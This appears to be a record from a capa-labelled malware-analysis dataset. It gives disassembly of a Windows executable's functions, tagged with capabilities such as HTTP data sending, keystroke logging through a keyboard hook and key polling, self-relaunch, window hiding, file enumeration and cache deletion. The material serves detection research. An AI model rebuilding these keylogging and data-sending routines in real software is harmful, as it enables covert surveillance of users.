joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403470
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x61c
mov eax, dword [0x5a4e60]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor edi, edi
push 0x206
mov esi, ecx
lea edx, [ebp - 0x20a]
xor ecx, ecx
push edi
push edx
mov dword [ebp - 0x618], eax
mov ebx, 0x50
mov dword [ebp - 0x614], edi
mov word [ebp - 0x20c], cx
call fcn.00525e90
push 0x3fe
lea ecx, [ebp - 0x60a]
xor eax, eax
push edi
push ecx
mov word [ebp - 0x60c], ax
call fcn.00525e90
push 7
push str.http:__
push esi
mov dword [ebp - 0x610], edi
call fcn.005242f5
add esp, 0x24
test eax, eax
je 0x403501
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00523022
mov esp, ebp
pop ebp
ret
add esi, 0xe
push 0x2f
push esi
call fcn.00523e32
mov edi, eax
add esp, 8
test edi, edi
je 0x403538
mov edx, edi
sub edx, esi
sar edx, 1
inc edx
push edx
push esi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
add edi, 2
push edi
lea ecx, [ebp - 0x60c]
push ecx
jmp 0x403540
push esi
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x20c]
push 0x3a
push eax
call fcn.00523e32
add esp, 8
test eax, eax
je 0x40356f
xor ecx, ecx
mov word [eax], cx
add eax, 2
push eax
call fcn.00523a62
add esp, 4
movzx ebx, ax
push 0
push 0
push 0
push 0
push 0x57cfd0
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
mov dword [ebp - 0x61c], edi
test edi, edi
je 0x40364c
push 0
push 0
push 3
push 0
push 0
push ebx
lea edx, [ebp - 0x20c]
push edx
push edi
call dword [sym.imp.WININET.dll_InternetConnectW]
mov ebx, eax
test ebx, ebx
jne 0x4035c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x610], eax
jmp 0x403645
push 0
push SysReAllocStringLen
push 0
push 0
push str.HTTP_1.1
lea eax, [ebp - 0x60c]
push eax
push 0x57cfec
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
test esi, esi
je 0x40363e
mov edx, dword [ebp - 0x618]
mov eax, edx
lea edi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4035f6
sub eax, edi
sar eax, 1
push eax
push edx
push 0x4a
push str.Accept_Language:_zh_cn__r_nContent_Type:_application_x_www_form_urlencoded_r_n
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x403627
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x610], eax
jmp 0x403631
mov dword [ebp - 0x614], 1
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [ebp - 0x61c]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x610]
push ecx
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x614]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00523022
mov esp, ebp
pop ebp
ret
Function at 0x403670
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
mov eax, dword [0x5a4e60]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
mov esi, ecx
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov word [ebp - 0x210], ax
call fcn.00525e90
add esp, 0xc
test esi, esi
jne 0x4036bd
push 0x104
lea edx, [ebp - 0x210]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
jmp 0x4036d2
push esi
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.005231b8
add esp, 0xc
push 0x44
lea ecx, [ebp - 0x268]
push 0
push ecx
call fcn.00525e90
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x268]
push ecx
push 0
push 0
push 0x40
push 0
push 0
mov edx, 1
mov word [ebp - 0x238], dx
push 0
lea edx, [ebp - 0x210]
push edx
push 0
mov dword [ebp - 0x23c], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x403740
mov eax, dword [ebp - 0x21c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [ebp - 0x220]
push ecx
call esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00523022
mov esp, ebp
pop ebp
ret

Function at 0x404190
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4041ab
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4041e2
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x4041de
jmp 0x4041d0
cmp esi, eax
jae 0x4041e2
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4041d0
cmp esi, eax
jb 0x4041e9
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x404d20
Capabilities:
Check os version
Get graphical window text
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push esi
push edi
mov esi, ecx
call fcn.0040e4f0
mov eax, dword [esi + 0x4ac]
mov ecx, dword [esi + 0x20]
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
push eax
push 1
push 0x80
push ecx
call edi
mov edx, dword [esi + 0x4ac]
mov eax, dword [esi + 0x20]
push edx
push 0
push 0x80
push eax
call edi
mov ecx, dword [0x5ad4d4]
push 0
push ecx
push 0x404990
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x5ad230], eax
lea eax, [esi + 0x1df8]
push eax
mov dword [eax], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov ecx, esi
call fcn.00404df0
call fcn.00405460
mov ecx, esi
call fcn.00405350
cmp dword [esi + 0x1dfc], 6
jae 0x404dd9
mov edx, dword [esi + 0x27d4]
mov eax, dword [edx + 0x160]
push 0
push 0x9d
lea ecx, [esi + 0x27d4]
call eax
push 4
push 1
push 1
push 0
push 0
push 0
lea ecx, [esi + 0x27d4]
call fcn.00426659
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x405460
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x5a4e60]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor eax, eax
push 0x23e
push eax
lea ecx, [ebp - 0x296]
push ecx
mov word [ebp - 0x298], ax
call fcn.00525e90
xor edx, edx
push 0x3e
push edx
lea eax, [ebp - 0x56]
push eax
mov word [ebp - 0x58], dx
call fcn.00525e90
add esp, 0x18
xor eax, eax
push 0x104
lea edx, [ebp - 0x298]
push edx
xor ecx, ecx
push eax
mov word [ebp - 0x14], cx
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x57d498
lea eax, [ebp - 0x298]
push 0x120
push eax
call fcn.00523249
mov edx, dword [esi + 0x20]
push 0xa
push 0x20
lea ecx, [ebp - 0x58]
push ecx
push edx
call fcn.00524786
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x298]
push 0x120
push ecx
call fcn.00523249
mov eax, dword [esi + 0x1f1c]
push 0xa
push 8
lea edx, [ebp - 0x14]
push edx
push eax
call fcn.00524786
push 0x57d4ac
lea ecx, [ebp - 0x298]
push 0x120
push ecx
call fcn.00523249
add esp, 0x44
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x298]
push 0x120
push eax
call fcn.00523249
push 0x44
lea ecx, [ebp - 0x2f0]
push 0
push ecx
call fcn.00525e90
add esp, 0x18
lea eax, [ebp - 0x2a8]
push eax
lea ecx, [ebp - 0x2f0]
push ecx
push 0
mov edx, 1
push 0
mov dword [ebp - 0x2c4], 1
mov word [ebp - 0x2c0], dx
push 0x40
push 0
push 0
push 0
lea edx, [ebp - 0x298]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4055c4
mov eax, dword [ebp - 0x2a4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esi + 0x1f10]
push ecx
call edi
mov edx, dword [ebp - 0x2a8]
mov dword [esi + 0x1f10], edx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.00523022
mov esp, ebp
pop ebp
ret

Function at 0x4055e0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a4
mov eax, dword [0x5a4e60]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x23e
push eax
lea ecx, [ebp - 0x246]
push ecx
mov word [ebp - 0x248], ax
call fcn.00525e90
add esp, 0xc
push 0x104
lea edx, [ebp - 0x248]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str.__update
lea eax, [ebp - 0x248]
push 0x120
push eax
call fcn.00523249
push 0x44
lea ecx, [ebp - 0x2a0]
push 0
push ecx
call fcn.00525e90
add esp, 0x18
lea eax, [ebp - 0x258]
push eax
lea ecx, [ebp - 0x2a0]
push ecx
push 0
push 0
push 0x40
push 0
push 0
mov edx, 1
mov word [ebp - 0x270], dx
push 0
lea edx, [ebp - 0x248]
push edx
push 0
mov dword [ebp - 0x274], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4056aa
mov eax, dword [ebp - 0x254]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [ebp - 0x258]
push ecx
call esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00523022
mov esp, ebp
pop ebp
ret
Function at 0x4057f0
Capabilities:
Log keystrokes via polling
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 4]
push edi
mov ebx, ecx
cmp eax, 0x100
je 0x40580c
cmp eax, 0x104
jne 0x405875
cmp dword [esi + 0xc], 0x112f
je 0x405875
push 0x11
xor edi, edi
call dword [sym.imp.USER32.dll_GetKeyState]
shr eax, 8
test al, al
je 0x40582b
mov edi, 2
push 0x10
call dword [sym.imp.USER32.dll_GetKeyState]
shr eax, 8
test al, al
je 0x40583d
or edi, 4
push 0x12
call dword [sym.imp.USER32.dll_GetKeyState]
shr eax, 8
test al, al
je 0x40584f
or edi, 1
mov eax, dword [esi + 8]
cmp eax, dword [0x5a6458]
jne 0x405875
cmp edi, dword [0x5a645c]
jne 0x405875
mov ecx, ebx
call fcn.004078a0
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 4
mov eax, dword [esi + 4]
cmp eax, 0x100
jne 0x40588c
mov ecx, dword [esi + 8]
cmp ecx, 0x1b
je 0x405869
cmp ecx, 0x20
je 0x405869
cmp eax, 0x112
jne 0x40590f
cmp dword [esi + 8], 0xf060
jne 0x40590f
mov ecx, dword [esi + 0xc]
cmp ecx, 0x112f
jne 0x4058db
cmp dword [ebx + 0x1f1c], 1
jl 0x4058fe
cmp ecx, ecx
jne 0x4058db
mov eax, dword [ebx + 0x1f10]
test eax, eax
je 0x4058db
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov dword [ebx + 0x1f10], 0
mov eax, 1
pop ebx
pop ebp
ret 4
test ecx, ecx
jne 0x4059f2
cmp dword [ebx + 0x1f1c], 1
jge 0x4059f2
push ecx
mov ecx, dword [ebx + 0x1f10]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call fcn.004079d0
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 4
cmp eax, 0x102
jne 0x40592e
cmp word [esi + 8], 4
jne 0x40592e
mov ecx, dword [esi + 0xc]
and ecx, 0xffff0000
cmp ecx, 0x200000
je 0x405950
cmp eax, 0x100
jne 0x4059d0
cmp dword [esi + 8], 0x74
jne 0x4059d0
cmp dword [ebx + 0x1f1c], 0
jle 0x4059d0
mov eax, dword [ebx + 0x1f4c]
test eax, eax
js 0x4059cb
cmp eax, dword [ebx + 0x1f1c]
jge 0x4059cb
mov edx, dword [ebx + 0x1f18]
mov edi, dword [edx + eax*4]
push edi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x405995
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 8]
mov edx, dword [esi + 4]
push eax
push ecx
push edx
push edi
call dword [sym.imp.USER32.dll_PostMessageW]
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 4
mov eax, dword [ebx + 0x1f0c]
push eax
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x4059bf
mov ecx, dword [esi + 0xc]
mov edx, dword [esi + 8]
mov eax, dword [esi + 4]
push ecx
mov ecx, dword [ebx + 0x1f0c]
push edx
push eax
push ecx
call dword [sym.imp.USER32.dll_PostMessageW]
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 4
call fcn.0041b5ef
cmp eax, 0x112
jne 0x4059f2
cmp dword [esi + 8], 0xf120
jne 0x4059f2
cmp dword [ebx + 0x1f1c], 1
jge 0x4059f2
push 9
mov ecx, ebx
call fcn.00426453
mov edx, dword [ebx + 0x1f7c]
push esi
push 0
push 0x407
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
push esi
mov ecx, ebx
call fcn.00424ed4
pop edi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x407780
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x5a4e60]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push edi
xor edi, edi
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebx + 0x1f1c], edi
jg 0x4077b6
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00523022
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 0x1c]
cmp eax, edi
jl 0x40788b
cmp eax, dword [ebx + 0x1f1c]
jge 0x40788b
mov ecx, dword [ebx + 0x1f18]
mov esi, dword [ecx + eax*4]
cmp dword [ebp + 8], esi
je 0x4077e5
push edi
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x407866
mov eax, dword [ebx + 0x20]
lea edx, [ebp - 0x18]
push edx
push eax
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], edi
call dword [sym.imp.USER32.dll_GetClientRect]
mov ecx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
sub ecx, 4
push 0
add edi, 0x1e
add edx, 4
sub eax, 4
mov dword [ebp - 0xc], ecx
sub ecx, edi
push ecx
mov dword [ebp - 0x10], eax
sub eax, edx
push eax
push edi
push edx
push esi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], edi
call dword [sym.imp.USER32.dll_MoveWindow]
push 5
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov ecx, dword [ebx + 0x1f0c]
push ecx
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x407864
mov edx, dword [ebx + 0x1f0c]
push 0
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
xor edi, edi
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, dword [ebx + 0x1f1c]
jl 0x4077b3
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.00523022
mov esp, ebp
pop ebp
ret 4
call fcn.0041b5ef
int3
Function at 0x4079d0
Capabilities:
Hide graphical window
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c0
mov eax, dword [0x5a4e60]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x1f10]
push edi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebx + 0x1f10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x5ad230]
push edx
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor edi, edi
cmp dword [ebx + 0x1f1c], edi
jle 0x407a64
push esi
test edi, edi
js 0x407af3
cmp edi, dword [ebx + 0x1f1c]
jge 0x407af3
mov eax, dword [ebx + 0x1f18]
mov esi, dword [eax + edi*4]
push 0
push esi
call dword [sym.imp.USER32.dll_SetParent]
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0xf060
push 0x112
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
inc edi
cmp edi, dword [ebx + 0x1f1c]
jl 0x407a18
pop esi
push 0x3b8
lea ecx, [ebp - 0x3bc]
push 0
push ecx
call fcn.00525e90
mov edx, dword [ebx + 0x20]
mov eax, dword [ebx + 0x4ac]
push 0x57c8c8
lea ecx, [ebp - 0x3a8]
push 0x80
push ecx
mov dword [ebp - 0x3b0], 0x401
mov dword [ebp - 0x3c0], 0x3bc
mov dword [ebp - 0x3bc], edx
mov dword [ebp - 0x3b8], 1
mov dword [ebp - 0x3b4], 7
mov dword [ebp - 0x3ac], eax
call fcn.005231b8
add esp, 0x18
lea edx, [ebp - 0x3c0]
push edx
push 2
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.00523022
mov esp, ebp
pop ebp
ret
call fcn.0041b5ef
int3
Function at 0x40a470
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x670
mov eax, dword [0x5a4e60]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
je 0x40a6c6
xor eax, eax
cmp ax, word [esi]
je 0x40a6c6
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x212]
push edx
xor edi, edi
mov word [ebp - 0x214], cx
call fcn.00525e90
add esp, 0xc
push 0x250
lea eax, [ebp - 0x66c]
push edi
push eax
call fcn.00525e90
add esp, 0xc
push esi
lea ecx, [ebp - 0x214]
push 0x104
push ecx
call fcn.005231b8
lea eax, [ebp - 0x214]
add esp, 0xc
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40a4f0
sub eax, edx
sar eax, 1
cmp word [ebp + eax*2 - 0x216], 0x5c
je 0x40a523
push 0x57e3c4
lea edx, [ebp - 0x214]
push 0x104
push edx
call fcn.00523249
add esp, 0xc
push 0x57e3c8
lea eax, [ebp - 0x214]
push 0x104
push eax
call fcn.00523249
add esp, 0xc
lea ecx, [ebp - 0x66c]
push ecx
lea edx, [ebp - 0x214]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40a56d
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00523022
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileW]
jmp 0x40a580
mov ecx, 0x57ce7c
lea eax, [ebp - 0x640]
jmp 0x40a590
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40a5b6
test dx, dx
je 0x40a5b2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40a5b6
add eax, 4
add ecx, 4
test dx, dx
jne 0x40a590
xor eax, eax
jmp 0x40a5bb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40a69a
mov ecx, 0x57e3cc
lea eax, [ebp - 0x640]
mov edi, edi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40a5f6
test dx, dx
je 0x40a5f2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40a5f6
add eax, 4
add ecx, 4
test dx, dx
jne 0x40a5d0
xor eax, eax
jmp 0x40a5fb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40a69a
test byte [ebp - 0x66c], 0x10
je 0x40a699
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x41a]
push ecx
mov word [ebp - 0x41c], ax
call fcn.00525e90
add esp, 0xc
lea edx, [ebp - 0x214]
push edx
lea eax, [ebp - 0x41c]
push 0x104
push eax
call fcn.005231b8
lea eax, [ebp - 0x41c]
add esp, 0xc
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40a652
sub eax, edx
sar eax, 1
lea edx, [ebp - 0x640]
xor ecx, ecx
push edx
mov word [ebp + eax*2 - 0x41e], cx
lea eax, [ebp - 0x41c]
push 0x104
push eax
call fcn.00523249
lea ecx, [ebp - 0x41c]
add esp, 0xc
push ecx
call fcn.0040a470
add esp, 4
add edi, eax
jmp 0x40a69a
inc edi
lea edx, [ebp - 0x66c]
push edx
push esi
call ebx
test eax, eax
jne 0x40a580
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00523022
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00523022
mov esp, ebp
pop ebp
ret
Function at 0x40a6e0
Capabilities:
Delete internet cache
Enumerate internet cache
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x5a4e60]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [sym.imp.WININET.dll_FindFirstUrlCacheEntryW]
lea eax, [ebp - 0x210]
push eax
push 0
push 0
mov dword [ebp - 0x210], 0
call edi
mov eax, dword [ebp - 0x210]
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041ac27
add esp, 4
mov esi, eax
lea eax, [ebp - 0x210]
push eax
push esi
push 0
call edi
mov edi, eax
test edi, edi
je 0x40a7b0
push ebx
mov ebx, dword [sym.imp.WININET.dll_FindNextUrlCacheEntryW]
lea esp, [esp]
test dword [esi + 0xc], 0x100000
jne 0x40a763
mov ecx, dword [esi + 4]
push ecx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
lea edx, [ebp - 0x210]
push edx
push 0
push edi
mov dword [ebp - 0x210], 0
call ebx
push esi
call fcn.0041ac1c
mov eax, dword [ebp - 0x210]
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041ac27
add esp, 8
mov esi, eax
lea eax, [ebp - 0x210]
push eax
push esi
push edi
call ebx
test eax, eax
jne 0x40a750
pop ebx
test esi, esi
je 0x40a7bd
push esi
call fcn.0041ac1c
add esp, 4
push 0
push 0x20
lea ecx, [ebp - 0x20c]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
pop edi
pop esi
test eax, eax
je 0x40a7f3
lea edx, [ebp - 0x20c]
push edx
call fcn.0040a0f0
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00523022
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.00523022
mov esp, ebp
pop ebp
ret
Function at 0x40a810
Capabilities:
Delete internet cache
Enumerate internet cache

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x5a4e60]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
push 0xfe
lea ecx, [ebp - 0x102]
xor eax, eax
push esi
mov ebx, 0x400
push ecx
mov dword [ebp - 0x114], esi
mov dword [ebp - 0x108], esi
mov dword [ebp - 0x10c], ebx
mov dword [ebp - 0x110], esi
lea edi, [esi + 0x7a]
mov word [ebp - 0x104], ax
call fcn.00525e90
xor edx, edx
add esp, 0xc
cmp edx, str.WMainLoader.swf_username
je 0x40a8a0
push str.WMainLoader.swf_username
lea eax, [ebp - 0x104]
push 0x80
push eax
call fcn.005231b8
lea ecx, [ebp - 0x104]
push 0x80
push ecx
call fcn.00524fb8
add esp, 0x14
lea ebx, [ebx]
test edi, edi
je 0x40a8f9
cmp edi, 0x7a
jne 0x40a9cb
push esi
call fcn.0041ac1c
push ebx
call fcn.0041ac27
add esp, 8
mov esi, eax
mov eax, dword [ebp - 0x110]
lea edx, [ebp - 0x108]
push edx
mov dword [esi], ebx
mov dword [ebp - 0x108], ebx
push esi
test eax, eax
jne 0x40a8f3
push eax
call dword [sym.imp.WININET.dll_FindFirstUrlCacheEntryW]
xor ecx, ecx
test eax, eax
setne cl
mov dword [ebp - 0x110], eax
mov eax, ecx
jmp 0x40a9a5
push eax
jmp 0x40a99f
test dword [esi + 0xc], 0x100000
jne 0x40a98a
mov eax, dword [esi + 4]
xor ecx, ecx
cmp ecx, str.WMainLoader.swf_username
je 0x40a983
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40a916
sub eax, edx
sar eax, 1
lea edi, [eax + 1]
xor ecx, ecx
mov eax, edi
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041ac27
mov ebx, eax
mov eax, dword [esi + 4]
push eax
push edi
push ebx
call fcn.005231b8
push edi
push ebx
call fcn.00524fb8
lea ecx, [ebp - 0x104]
push ecx
push ebx
call fcn.00523c27
add esp, 0x20
test eax, eax
je 0x40a972
mov edx, dword [esi + 4]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
push ebx
call fcn.0041ac1c
mov ebx, dword [ebp - 0x10c]
add esp, 4
jmp 0x40a98a
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
mov edx, dword [ebp - 0x110]
lea ecx, [ebp - 0x108]
push ecx
push esi
mov dword [ebp - 0x108], ebx
push edx
call dword [sym.imp.WININET.dll_FindNextUrlCacheEntryW]
test eax, eax
je 0x40a9b0
xor edi, edi
jmp 0x40a8a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x10c], eax
mov ebx, eax
jmp 0x40a8a0
cmp edi, 0x103
jne 0x40a9dd
mov dword [ebp - 0x114], 1
push esi
call fcn.0041ac1c
mov eax, dword [ebp - 0x110]
add esp, 4
pop edi
pop esi
pop ebx
test eax, eax
je 0x40a9fa
push eax
call dword [sym.imp.WININET.dll_FindCloseUrlCache]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x114]
xor ecx, ebp
call fcn.00523022
mov esp, ebp
pop ebp
ret